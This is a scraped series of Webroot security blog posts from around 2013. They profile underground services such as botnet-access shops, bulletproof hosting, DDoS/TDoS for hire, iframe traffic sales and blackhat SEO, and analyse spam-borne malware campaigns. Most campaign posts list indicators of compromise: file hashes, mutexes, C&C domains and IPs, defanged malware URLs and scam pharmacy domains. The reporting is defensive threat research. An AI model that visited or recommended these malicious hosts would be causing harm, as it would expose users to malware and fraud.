Compared to some of the previously profiled E-shops that used to differentiate their propositions — case in point are the E-shops charging based on malware executions — this E-shop is not trying to differentiate its proposition beyond the point of offering access to malware-infected hosts at a rather cheap price. Not surprisingly, this novice cybercriminal's unprofessional approach to achieve stolen assets liquidity is directly resulting in an undermined "customer service" which, based on the comments of fellow cybercriminals, is resulting in the degraded supply of the actual goods. Moreover, in terms of OPSEC (Operational Security), despite the fact that the E-shop is accepting the pseudo-anonymous E-currency, Bitcoin, it's also accepting PayPal.

Go through related posts highlighting the growing trend of selling access to hacked/compromised hosts/PCs:

New E-Shop sells access to thousands of malware-infected hosts, accepts Bitcoin New E-shop sells access to thousands of hacked PCs, accepts Bitcoin Newly launched E-shop for hacked PCs charges based on malware 'executions' How much does it cost to buy one thousand Russian/Eastern European based malware-infected hosts? How much does it cost to buy 10,000 U.S.-based malware-infected hosts? Cybercriminals sell access to tens of thousands of malware-infected Russian hosts

In an increasingly over-populated market segment offering access to compromised/hacked PCs, differentiation remains a key success factor for the success of any market entrant looking to gain market share.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Malicious 'FW: File' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Think someone forwarded you an important attachment? Think twice. Cybercriminals are currently mass mailing tens of thousands of malicious emails attempting to trick the recipient into thinking that someone has forwarded a file to them. In reality, once socially engineered users execute the malicious attachments, their PCs automatically become part of the botnet operated by the cybercriminals behind the campaign, allowing them to gain complete control over the affected PCs, and consequently abuse the access for related fraudulent purposes.

Detection rate for the spamvertised attachment: MD5: fca250f3239fc3ea70c33dc884dd7418 – detected by 2 out of 47 antivirus scanners as Trojan-Downloader.

Once executed, it starts listening on ports 3512 and 7379. It also drops MD5: 190be2abce620c30ade2b4ce06b216f3 and MD5: ea5911eb532e2b24f8765f592426a3a0 on the affected hosts.

It then creates the following Mutexes on the affected hosts:
Local\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Local\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Local\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Local\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Local\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Local\{911F9FCD-AFAC-6AF2-DBC9-BE58FA349D4A}
Global\{2E06BA86-8AE7-D5EB-DBC9-BE58FA349D4A}
Global\{B0B9FAFD-CA9C-4B54-DBC9-BE58FA349D4A}
Global\{B0B9FAFC-CA9D-4B54-DBC9-BE58FA349D4A}
Global\{D15F4CEE-7C8F-2AB2-DBC9-BE58FA349D4A}
Global\{D15F4CE9-7C88-2AB2-DBC9-BE58FA349D4A}
Global\{0BB5ADEF-9D8E-F058-DBC9-BE58FA349D4A}
Global\{BB67AFC4-9FA5-408A-DBC9-BE58FA349D4A}
Global\{63502D77-1D16-98BD-11EB-B06D3016937F}

Global\{63502D77-1D16-98BD-75EA-B06D5417937F}
Global\{63502D77-1D16-98BD-4DE9-B06D6C14937F}
Global\{63502D77-1D16-98BD-65E9-B06D4414937F}
Global\{63502D77-1D16-98BD-89E9-B06DA814937F}
Global\{63502D77-1D16-98BD-BDE9-B06D9C14937F}
Global\{63502D77-1D16-98BD-51E8-B06D7015937F}
Global\{63502D77-1D16-98BD-81E8-B06DA015937F}
Global\{63502D77-1D16-98BD-FDE8-B06DDC15937F}
Global\{63502D77-1D16-98BD-0DEF-B06D2C12937F}
Global\{63502D77-1D16-98BD-5DEF-B06D7C12937F}
Global\{63502D77-1D16-98BD-95EE-B06DB413937F}
Global\{63502D77-1D16-98BD-F1EE-B06DD013937F}
Global\{63502D77-1D16-98BD-89EB-B06DA816937F}
Global\{63502D77-1D16-98BD-F9EF-B06DD812937F}
Global\{63502D77-1D16-98BD-E5EF-B06DC412937F}
Global\{63502D77-1D16-98BD-0DEE-B06D2C13937F}
Global\{63502D77-1D16-98BD-09ED-B06D2810937F}
Global\{63502D77-1D16-98BD-51EF-B06D7012937F}
Global\{63502D77-1D16-98BD-35EC-B06D1411937F}
Global\{63502D77-1D16-98BD-71E8-B06D5015937F}
Global\{DDB39BDC-ABBD-265E-DBC9-BE58FA349D4A}
Global\{2E1C200D-106C-D5F1-DBC9-BE58FA349D4A}

And phones back to: cocinarpara2.com – 174.36.228.121

We're also aware of another malicious MD5 that is known to have been directly downloaded from the same IP: MD5: 45a6d8e0f26562753eab19eb279cc15a – detected by 25 out of 48 antivirus scanners as UDS:DangerousObject.Multi.Generic.

As well as the following MD5s known to have directly phoned back to the same IP: MD5: 7da3f3c5db43e924487ffc29d894af5d
– detected by 2 out of 48 antivirus scanners as Trojan-Downloader
MD5: 3631737139bb2090cefdb50c6f7d646b – detected by 3 out of 48 antivirus scanners as UDS:DangerousObject.Multi.Generic

Moreover, all of the samples attempt to establish UDP based communication channels with the following IPs, using the following ports: 68.125.255.234:6568
128.208.19.110:3009

64.229.35.241:2402
88.153.221.37:3544
107.193.222.108:3981

We're also aware of the following malicious MD5s that are known to have communicated with the same IP (107.193.222.108), over the last couple of days: MD5: 7da3f3c5db43e924487ffc29d894af5d
MD5: 4d95c01f1b0918e5cbce34f3be169d6f
MD5: 696615ee3959b9cbfb6d11f908b98e74
MD5: 63c69169949c49c869b593c4ee5a60c6
MD5: 00d2bddad9d5dd4f66e88334a235ffb0
MD5: 9cb63b015bf77186854e74992d3f5462
MD5: 0cb5a7eab6111250b4a24ea3cd644dcb
MD5: e5d594f6330c209df28b546da06e4c1d
MD5: 30916a1258f45295e02a9adfa6f7e2b7
MD5: f1328033365c1b273e08eb2efa87add0
MD5: 3631737139bb2090cefdb50c6f7d646b
MD5: b51b5afaf4503c5a93b03f1d0a468a39
MD5: 61d9851259f41d5b656c7a2d6ce476f2
MD5: a9b67d19e459fbc6a330b14f3b7709c9
MD5: aa315ae459e4aa91998f87b4bb234316
MD5: 65bad289cd2cb110d29f20cf6b7153e9
MD5: 7f64e75b459bc3e592f274b2a8de74fb
MD5: 58bc8250931e8184967298265b1650e1
MD5: ae4d8d378fa128d5fd0acb5393019731
MD5: 089b3fa08ecc070764a447fbf449789b
MD5: 87b5b1806feeacb145be3b9fb73c97c7

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Spamvertised T-Mobile 'Picture ID Type:MMS" themed emails lead to malware - Webroot Blog

facebook linkedin twitter

The cybercriminals behind last week's profiled **fake T-Mobile themed email campaign** have resumed operations, and have just spamvertised another round of tens of thousands of malicious emails impersonating the company, in order to trick its customers into executing the malicious attachment, which in this case is once again supposedly a legitimate MMS notification message.

Detection rate for the spamvertised attachment: MD5: 8a9abe065d473da9527fdf08fb55cb9e – detected by 26 out of 48 antivirus scanners as Trojan.DownLoader9.22851; UDS:DangerousObject.Multi.Generic

Once executed, the sample creates the following Mutexes on the affected hosts: *CTF.TimListCache.FMPDefaultS-1-5-21-1547161642-507921405-839522115-1004MUTEX.DefaultS-1-5-21-1547161642-507921405-839522115-1004 ShimCacheMutex 85485515*

It then (once again) phones back to **networksecurityx.hopto.org** . The most recent MD5 (**MD5: 014543ee64491bac496fabda3f1c8932**) that has phoned back to the same C&C server (**networksecurityx.hopto.org**) is also known to have phoned back to **dahaka.no-ip.biz** (89.136.186.200).

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Novice cybercriminals offer commercial access to five mini botnets - Webroot Blog

facebook linkedin twitter

With the increased public availability of **leaked** /**cracked DIY** malware/botnet generating tools, cybercriminals continue practically generating new botnets on the fly, in order to monetize the process by offering access to these very same botnets at a later stage in the botnet generation process. In addition to **monetizing the actual process** of **setting up and hosting the botnet's C&C (command and control) servers** , novice cybercriminals continue selling direct access to their newly generated botnets, empowering other novice cybercriminals with the foundations for further disseminating and later on monetizing other pieces of malicious software, part of their own arsenal of fraudulent/malicious tools.

Let's discuss one such sample service run by novice cybercriminals, once again targeting cybercriminals, that's selling direct access to **mini botnets** generated using what appears to be a cracked version of a popular DIY malware/botnet generating kit, and emphasize on the service's potential in the broader context of today's highly professionalized cybercrime ecosystem.

Sample screenshots of the actual (international) underground market proposition:

Sample screenshots of the botnets he's already sold access to:

Such (international) underground market services demonstrate the ease of generating and **operating beneath the radar** in 2013, where the size of the botnet is proportional with the (indirectly) applied OPSEC (Operational Security), thanks to the fact that such mini botnets are usually perceived as smaller threats compared to sophisticated botnets causing widespread damage on a daily basis. However, it's these mini botnets that comprise a huge percentage of the botnets operated by adversaries launching targeted attacks online, and it's only a matter of time before the botnet masters behind them realize the market potential of geolocated hosts in a specific region/country of interest to their prospective customers.

We expect that the novice cybercriminals behind these services will continue capitalizing on the market potential for serving other novice cybercriminals, with their services starting to apply basic QA (Quality Assurance) processes, next to the logical evolution into **one-time-stop-E-shops** , like the ones we've already discussed and profiled in our previous research highlighting some of the current and emerging cybercrime trends in 2013.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Compromised Turkish Government Web site leads to malware - Webroot Blog

facebook linkedin twitter

Our sensors just picked up **an interesting Web site infection** , this time affecting a Web server belonging to the Turkish government, where the cybercriminals behind the campaign have uploaded a malware-serving fake 'DivX plug-in Required!" Facebook-themed Web page. Once socially engineered users execute the malware variant, their PCs automatically join the botnet operated by the cybercriminals behind the campaign.

Sample screenshot of the fake DivX, Facebook-themed page uploaded on the compromised Web server:

Compromised URL: *hxxp://www.manisahem.gov.tr/giorgia.html*

The malware's download URL: *hxxp://hyfcst.best.volyn.ua:80/dlimage11.php* – 103.246.115.238

Detection rate for the malicious variant: MD5: adc9cafbd4e2aa91e4aa75e10a948213 – detected by 3 out of 48 antivirus scanners as Heuristic.LooksLike.Win32.Suspicious.J!89

The following malicious sub-domains are also known to have responded to the same IP (103.246.115.238): *qpqaaa.best.volyn.ua ohbkaa.best.volyn.ua wknqba.best.volyn.ua wnewca.best.volyn.ua arlrda.best.volyn.ua umozea.best.volyn.ua thkbga.best.volyn.ua hibfha.best.volyn.ua idktia.best.volyn.ua dgplka.best.volyn.ua cdqdqa.best.volyn.ua tgxsqa.best.volyn.ua cozeva.best.volyn.ua fwomva.best.volyn.ua sekbwa.best.volyn.ua goqgwa.best.volyn.ua bcrgwa.best.volyn.ua bekpwa.best.volyn.ua cflwwa.best.volyn.ua mrfbya.best.volyn.ua ldstya.best.volyn.ua bspzab.best.volyn.ua cctmcb.best.volyn.ua knafdb.best.volyn.ua egzbeb.best.volyn.ua ixlyeb.best.volyn.ua ynozfb.best.volyn.ua wqzegb.best.volyn.ua xzckhb.best.volyn.ua ddznib.best.volyn.ua hdxoib.best.volyn.ua rqaakb.best.volyn.ua ofmakb.best.volyn.ua xpirlb.best.volyn.ua agoylb.best.volyn.ua higsnb.best.volyn.ua qhuwnb.best.volyn.ua ldkfob.best.volyn.ua faawtb.best.volyn.ua*

hdwdub.best.volyn.ua
skerub.best.volyn.ua
vxefwb.best.volyn.ua
aspywb.best.volyn.ua
xstbyb.best.volyn.ua
qssdac.best.volyn.ua
vfcxac.best.volyn.ua
ninwcc.best.volyn.ua
bboyhc.best.volyn.ua
iaiomc.best.volyn.ua
emsvmc.best.volyn.ua
bzxypc.best.volyn.ua
rkezqc.best.volyn.ua
ycecrc.best.volyn.ua
yzzorc.best.volyn.ua
lmstrc.best.volyn.ua
vmrusc.best.volyn.ua
yukbtc.best.volyn.ua
mpowxc.best.volyn.ua
tesgdd.best.volyn.ua
wuvwed.best.volyn.ua
pxrpgd.best.volyn.ua
qiyphd.best.volyn.ua
oicmkd.best.volyn.ua
ofslld.best.volyn.ua
okrfnd.best.volyn.ua
ibbvod.best.volyn.ua
xokmpd.best.volyn.ua
tbsnpd.best.volyn.ua
ygfbvd.best.volyn.ua
gimgyd.best.volyn.ua
wbddce.best.volyn.ua
tzhmce.best.volyn.ua
wfgwde.best.volyn.ua
grndie.best.volyn.ua
aqxlke.best.volyn.ua
eviime.best.volyn.ua
ilymre.best.volyn.ua
ywcure.best.volyn.ua
szigse.best.volyn.ua
flqfue.best.volyn.ua
ixtaxe.best.volyn.ua
gfdxxe.best.volyn.ua
swscye.best.volyn.ua
kgemze.best.volyn.ua
awdfcf.best.volyn.ua
cbiief.best.volyn.ua
osorff.best.volyn.ua
qerohf.best.volyn.ua
arwbif.best.volyn.ua
apgmlf.best.volyn.ua
lfnasf.best.volyn.ua
bayxwf.best.volyn.ua
utxzxf.best.volyn.ua
sqhhzf.best.volyn.ua
bcpagg.best.volyn.ua
gyyfhg.best.volyn.ua
xwoqlg.best.volyn.ua
abnrog.best.volyn.ua
dhgypg.best.volyn.ua
xytwqg.best.volyn.ua
svzyqg.best.volyn.ua
cxhstg.best.volyn.ua
mbcwtg.best.volyn.ua
fgrgvg.best.volyn.ua
rpkkwg.best.volyn.ua
bghuwg.best.volyn.ua
neqmxg.best.volyn.ua
dlylah.best.volyn.ua
ozoceh.best.volyn.ua
xufcgh.best.volyn.ua
nixblh.best.volyn.ua
yyhflh.best.volyn.ua
rimulh.best.volyn.ua
oewgmh.best.volyn.ua
eacnmh.best.volyn.ua
gdvvnh.best.volyn.ua
voolph.best.volyn.ua
bqgrph.best.volyn.ua
pzhtsh.best.volyn.ua
kydwsh.best.volyn.ua
zviath.best.volyn.ua
pclpth.best.volyn.ua
vyeuvh.best.volyn.ua
hcdgdi.best.volyn.ua
ybmwei.best.volyn.ua
lizxei.best.volyn.ua
ehczei.best.volyn.ua
ahmkfi.best.volyn.ua
fwtihi.best.volyn.ua
ttlqhi.best.volyn.ua
phexhi.best.volyn.ua
rnhqli.best.volyn.ua
hfibni.best.volyn.ua
ehicoi.best.volyn.ua
bxogoi.best.volyn.ua
ruiyri.best.volyn.ua
ozeqsi.best.volyn.ua
uinzsi.best.volyn.ua
xdwnui.best.volyn.ua
uikoui.best.volyn.ua
zmglvi.best.volyn.ua
reewzi.best.volyn.ua
ocbvak.best.volyn.ua
bbqnck.best.volyn.ua
dawrdk.best.volyn.ua
dwtbek.best.volyn.ua
rcteek.best.volyn.ua
encoek.best.volyn.ua
kvnvek.best.volyn.ua
knwrhk.best.volyn.ua

svzuik.best.volyn.ua ofwclk.best.volyn.ua khielk.best.volyn.ua
rbocmk.best.volyn.ua bbssok.best.volyn.ua ovutok.best.volyn.ua
egfppk.best.volyn.ua pgwtpk.best.volyn.ua kbpupk.best.volyn.ua
rdhotk.best.volyn.ua phnkvk.best.volyn.ua wvkswk.best.volyn.ua
ccsixk.best.volyn.ua lmepxk.best.volyn.ua uiicyk.best.volyn.ua
ytpzyk.best.volyn.ua nyrmal.best.volyn.ua hyqiel.best.volyn.ua
fccvll.best.volyn.ua napyll.best.volyn.ua buubpl.best.volyn.ua
mowcql.best.volyn.ua grzqsl.best.volyn.ua zezotl.best.volyn.ua
drwkxl.best.volyn.ua ltkiyl.best.volyn.ua kdnpyl.best.volyn.ua
kzgxzl.best.volyn.ua ifltbm.best.volyn.ua codhgm.best.volyn.ua
baxtgm.best.volyn.ua fixygm.best.volyn.ua dfrtkm.best.volyn.ua
cpialm.best.volyn.ua gnyylm.best.volyn.ua rashmm.best.volyn.ua
olpwmm.best.volyn.ua ndoiom.best.volyn.ua ufpzom.best.volyn.ua
kovoqm.best.volyn.ua qzwysm.best.volyn.ua xzftum.best.volyn.ua
yvugvm.best.volyn.ua vahqvm.best.volyn.ua hclhwm.best.volyn.ua
exylzm.best.volyn.ua bginbn.best.volyn.ua ygyzbn.best.volyn.ua
opxkcn.best.volyn.ua wxlqdn.best.volyn.ua

We’re also aware of the following malicious MD5s that are known to have been downloaded from the same IP (103.246.115.238): MD5: 4aacf36cafbd8db3558f523ddc8c90e5
MD5: 3dff37ee5d6e3a1bc6f37c58ac748821
MD5: 4ce289a8e3b4dd374221d2b56f921f6d
MD5: e3f8456d5188fd03f202bfe112d3353d
MD5: 9698be7d8551cb89a95ce285c84c46b1
MD5: be8c528a6bff6668093e9aabe0634197
MD5: 48bcc188a4d6a2c70ee495a7742b68b8
MD5: c0f3501b63935add01a6b4aa458a01b7
MD5: 10c32d95367bb9ab2928390ff8689a26
MD5: 39b59bda3c65989b9288f10789779e96
MD5: aa7dc576d1fe71f18374f9b4ae6869fa
MD5: 00bdd194328c2fe873260970da585d84
MD5: 3ad96ccf8e7c5089b80232529ffe8f62
MD5: 1f18b45b25dd50adf163d91481c851cf
MD5: 9577c1b005673e1406da41fb07e914bb
MD5: 19e31123c1ccc072c257347bba220f0e
MD5: b60ca81cec260d44025c2b0374364272

MD5: 0a960df88c2d27d0d4cc27544011fbb0
MD5: 7d14dcfd00f364c788ba51c6c2fc6bdd

Once executed, the original sample MD5: adc9cafbd4e2aa91e4aa75e10a948213 phones back to: *103.9.150.244/tsone/vowet11.dat?wv=51&bt=32*

The following malicious subdomains are also known to have responded to the same IP (103.9.150.244): *abkwnb.best.lt.ua abnrog.best.volyn.ua acggdk.best.lt.ua acuhpw.best.lt.ua adasqo.best.lt.ua adybuq.best.lt.ua afvvkz.best.lt.ua aiikit.best.volyn.ua aixxap.best.lt.ua akzoze.best.lt.ua amnrks.best.volyn.ua amsbud.best.volyn.ua aoimih.best.volyn.ua aqbrpz.best.lt.ua arsrra.best.lt.ua asksxw.best.lt.ua aszhet.best.lt.ua atfvmk.best.lt.ua 2ayrzwv.best.lt.ua azcgrd.best.lt.ua*

We're also aware of the following malicious MD5s that are known to have phoned back to the same IP (103.9.150.244):
MD5: 0e27df7a010338d554dba932b94cb11e
MD5: a6e52ca88a4cd80eb39989090d246631
MD5: ab0d8f81b65e5288dd6004f2f20280fd
MD5: e1bda5b01d1ad8c0f48177cd6398b15f
MD5: b2a381fbc544fe69250ad287b55f435b
MD5: 052ae7410594c5c0522afd89eccb85a7
MD5: ddfac94608f8b6c0acfadc7a36323fe6
MD5: 052ae7410594c5c0522afd89eccb85a7
MD5: ddfac94608f8b6c0acfadc7a36323fe6
MD5: 9325e2dddded560c2e7a214eb920f9ea
MD5: 56aaea2b443ea8c9cea248e64d645305
MD5: 4e0bff23a95e8d02800fecbac184cd5f
MD5: 704c5b12247826cf111b1a0fc3678766
MD5: c5fb893b401152e625565605d85a6b7d
MD5: 540f19ff5350e08eff2c5c4bada1f01f
MD5: 8db8c55983125113e472d7dd6a47bd43
MD5: 7c4d4e56f1a9ceb096df49da42cc00ed

Webroot SecureAnywhere users are proactively protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Fake 'You have missed emails' GMail themed emails lead to pharmaceutical scams - Webroot Blog

facebook linkedin twitter

Pharmaceutical scammers are currently mass mailing tens of thousands of fake emails, impersonating Google’s GMail in an attempt to trick its users into clicking on the links found in the spamvertised emails. Once users click on them, they’re automatically exposed to **counterfeit pharmaceutical items** , with the scammers behind the campaign attempting to capitalize on the ‘impulsive purchase’ type of social engineering tactic typical for this kind of campaign.

Sample screenshot of the spamvertised email:

Sample screenshot of the landing pharmacautical scams page:

Landing URL: shirazrx.com – 85.95.236.188 – Email: ganzhorn@shirazrx.com

The following pharmaceutical scam domains also respond to the same IP: *asqrtplc.com pharmlevitrafitch.com myprescriptionhealth.com viagrasequester.com rxjeanstra.at medoverdose.at rxtreatments.ru*

The following pharmaceutical scam domains are also known to have responded to the same IP (85.95.236.188): *albertapharm.com albertapharm.net antacid.fatwelnessdiet.com anticlockwise.medwelopioid.com antiquarianism.medwelopioid.com assignment.healthcareviagrabiotech.com canadaprescriptioninc.at carburettors.opioidsalemeds.com debars.dentalcarepharmacy.com deliquescent.homemedicalrx.com dipoles.fatdietpharm.com drughealthcareprescription.com drugstoreabortion.com drugstorepharmetro.com heads.fatpillsdiet.com hebalk.ru herbalviagrasildenafil.com* *inflammatory.patientsprescriptionmedical.com levitrachrome.at levitrapillkorsinsky.com*

This isn't the first, and definitely not the last time pharmaceutical scammers brand-jack reputable brands in order to trick users into clicking on the links found in the fake emails, as we've already seen them brand-jack **Facebook's Notification System** , **YouTube** , as well as the non-existent **Google Pharmacy** . Thanks to the (natural) existence of **affiliate networks for pharmaceutical items** , we expect that **users will continue falling victim to these pseudo-bargain deals** , fueling the the growth of the cybercrime economy and the need for more cybersecurity awareness .

Our advice? Never bargain with your health, spot the scam and report it.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Newly launched VDS-based cybercrime-friendly hosting provider helps facilitate fraudulent/malicious online activity - Webroot Blog

facebook linkedin twitter

Realizing the market segment potential of **bulletproof hosting services** in a **post-Russian Business Network (RBN) world** — although it can be easily argued that as long as its operators are at large they will remain in business — cybercriminals continue supplying the cybercrime ecosystem with market-relevant propositions. It empowers anyone with the ability to host fraudulent and malicious content online. A newly launched Virtual Dedicated Server (VDS) type of bulletproof hosting vendor is pitching itself to prospective cybercriminals, offering them hosting services for spam, malware, brute-forcing tools, blackhat SEO tools, C&C (command and control) servers, exploit kits and warez. In addition to offering the "standard cybercrime-friendly" bulletproof hosting package, the vendor is also excelling in terms of the hardware it relies on for providing the infrastructure to its customers.

Let's take a peek inside the infrastructure 'facility', and discuss the vendor's business model in the over-populated market segment for bulletproof hosting services, currently available to prospective cybercriminals.

Sample screenshot of the currently offered bulletproof hosting options:

Sample screenshots of the used HP Smart Arrays in the service's infrastructure, and the DIY self-monitoring interface:

Sample screenshots of the actual infrastructure 'facility' as featured by the vendor of the bulletproof hosting service:

This service and its infrastructure are a great example of 'purely malicious in-house infrastructure' purposely set up to facilitate fraudulent and malicious online activity. The "even if it's there we still don't care" mentality results in a situation where despite the fact that the vendor's infrastructure remains online, it can still get blocked by the industry, consequently preventing hundreds of millions of users from (unknowingly) interacting with it. Unfortunately, as we've already seen in previous cybercrime-friendly ISP shut downs, this doesn't really present a problem to the cybercriminals operating it, thanks to the contingency planning in place, allowing them to quickly restore service to their customers.

In retrospect: How cybercrime-friendly ISPs got affected by successful take downs over the years:

TROYAK-AS: the cybercrime-friendly ISP that just won't go away With or without McColo, spam volume increasing again Atrivo/Intercage's disconnection briefly disrupts spam levels Google: Spam volume for Q1 back to pre-McColo levels Overall spam volume unaffected by 3FN/Pricewert's ISP shutdown

We'll continue monitoring this market segment, and post analyses of newly launched/competing services, in particular the ones differentiating their UVP (unique value proposition) to prospective cybercriminals.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New cybercrime-friendly iFrames-based E-shop for traffic spotted in the wild - Webroot Blog

facebook linkedin twitter

Thanks to the free, commercial availability of **mass Web site hacking tools** , in combination with hundreds of thousands of misconfigured and unpatched Web sites, blogs and forums currently susceptible to exploitation, cybercriminals are successfully **monetizing the compromise process.** They are setting up **iFrame based traffic E-shops** and offering access to hijacked legitimate traffic to be later on converted to malware-infected hosts.

Despite the fact that the iFrame traffic E-shop that I'll discuss in this post is pitching itself as a "legitimate traffic service", it's also explicitly emphasizing on the fact that iFrame based traffic is perfectly suitable to be used for **Web malware exploitation kits** . Let's take a closer look at the actual (international) underground market ad, and discuss the relevance of these E-shops in today's modern cybercrime ecosystem.

Sample screenshot of the (international) undeground market ad:

The PayPal and Bitcoin accepting service offers 5,000 visits for $15, 50,000 visits for $100 and 100,000 visits for $175, as well as geolocated traffic consisting of American, French, British and Canadian visitors.

The E-shop opens up two possibilities for abuse:

directly embedding exploits and malware serving iFrame URLs – client-side exploit serving URLs can be directly embedded in the form of iFrames on the hacked Web sites that the cybercriminal behind the service has access to, potentially exposing its visitors to the malicious payload served by the service's customers
'visual social engineering' campaigns displayed at Adult Web sites – a typical campaign could take advantage of the same 'instant

action provoking' visual social engineering campaigns that are typical for **PUA (Potentially Unwanted Application)** campaigns, in the context of featuring appealing ads mimicking popular products, demanding urgent reaction, or promising a reward for clicking on them

We're actively monitoring this underground market segment, and will continue profiling cybercrime-friendly traffic E-shops, raising more awareness on a highly popular traffic acquisition tactic within the cybercrime ecosystem.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

Commercially available Blackhat SEO enabled multi-third-party product licenses empowered VPSs spotted in the wild - Webroot Blog

facebook linkedin twitter

Standardization is the cybercrime ecosystem's efficiency-oriented mentality to the general business 'threat' posed by inefficiencies and lack of near real-time capitalization on (fraudulent/malicious) business opportunities. Ever since the first (public) discovery of **managed spam appliances back in 2007** , it has become evident that cybercriminals are no strangers to basic market penetration/market growth/market development business concepts. Whether it's the template-ization of malware-serving sites, money mule recruitment, spamming or blackhat SEO, this efficiency-oriented mentality can be observed in virtually each and every market segment of the ecosystem.

In this post, I'll discuss a recent example of standardization, in particular, a blackhat SEO friendly VPS (Virtual Private Server) that comes with over a dozen multi-blackhat-seo-friendly product licenses from third-party products integrated. It empowers potential customers new to this unethical and potentially fraudulent/malicious practice with everything they need to hijack legitimate traffic from major search engines internationally.

Sample screenshot of the pricing page for the blackhat SEO-friendly service:

Surprisingly, the service offers licenses to BHSEO products targeting the international market, instead of licenses for the market leading Russian-based blackhat SEO 'products' typically offered by competing vendors. It also features an "About the Team" page with information about the people behind this unethical business venture. Interestingly, the service is also not pitching itself as a bulletproof hosting provider, presumably due to the fact that a huge percentage of hosting providers for ‘grey and black’ projects explicitly state that they blackhat SEO campaigns hosted and operated through their infrastructure.

Over the last couple of years, we’ve witnessed the emergence of **blackhat SEO** intersecting with the objectives of fraudulent and malicious actors internationally. Empowering them with access to legitimate hijacked traffic, the cybercriminals conducting it quickly started monetizing it, resulting in widespread campaigns, which on the majority of occasions were used to distributed rogue/fake security software. Moreover, thanks to the once again efficiency-oriented approach when it comes to the **mass compromise of tens of thousands of Web sites** , and the resulting vibrant **marketplace for access to compromised Web shells** , in 2013, cybercriminals have virtually everything they need to abuse and hijack legitimate search engine traffic.

Blackhat SEO – just because you don’t see it, **it doesn’t mean it’s not there** .

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

DDoS for hire vendor 'vertically integrates' starts offering TDoS attack capabilities - Webroot Blog

facebook linkedin twitter

DDoS for hire has always been an inseparable part of the portfolio of services offered by the cybercrime ecosystem. With **DDoS extortion** continuing to go largely under-reported, throughout the last couple of years — mainly due to the inefficiencies in the business model — the practice also matured into a **'value-added' service** offered to cybercriminals who'd do their best to distract the attention of a financial institution they're about to (virtually) rob.

Operating online — under both private and public form — since 2008, the DDoS for hire service that I'll discuss in the this post is not just offering **DDoS** attack and Anti-DDoS protection capabilities to potential customers, but also, is **'vertically integrating'** within the ecosystem by starting to offer **TDoS (Telephony Denial of Service Attack)** services to prospective customers.

Sample screenshot of the 'DDoS for Hire' vendor's Web site:

The service oprates 24/7, and promises 100% anonymity when accepting and processing the requests. It charges $20 for one hour of DDoS attack, $50 for a day, and $500 for one week, with a 50% discount for for regular customers, as well as additional discounts when attacking more than one site. Ironically, it also offers Anti-DDoS attack protection capabilities, charging $30 for one hour of protection, $250 for one day and $1,600 for one week of protection. Not surprisingly, taking into consideration the increasing professionalism applied by cybercriminals internationally on their way to optimize the the effects of their campaigns, the DDoS for hire service also offers TDoS services, in an attempt to position itself as a one-stop-shop for commercially available Denial of Service attack capabilities.

The service is just the tip of the iceberg in this vibrant market segment that has managed to preserve its core business strategies for years through the reliance on constant OPSEC-violating advertising on public, cybercrime-friendly communities. With attribution procedures becoming more prevalent across the community, some cybercriminals quickly adapted through the utilization of the **‘aggregate-and-forget’** process, namely, the aggregation of malware-infected hosts to be used in a specific, highly targeted DDoS attack campaign, on their way to make attribution obsolete.

We expect to continue observing more ‘vertical integration’ in this market segment, with vendors who’ve been in business for years, introducing new ‘value-added’ services, on their way to achieve a one-stop-shop business model for anything DDoS related.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'T-Mobile MMS message has arrived' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

A circulating malicious spam campaign attempts to trick **T-Mobile** customers into thinking that they've received a password-protected MMS. However, once gullible and socially engineered users execute the malicious attachment, they automatically compromise the confidentiality and integrity of their PCs, allowing the cybercriminals behind the campaign to gain complete control of their PCs.

Detection rate for the spamvertised sample – **MD5: 5d69a364ffa8d641237baf4ec7bd641f** – detected by 11 out of 48 antivirus scanners as W32/Trojan.XTWU-6193; TR/Sharik.B; Trojan.DownLoader9.22851

Once executed, the sample phones back to **networksecurityx.hopto.org** – 69.65.19.117

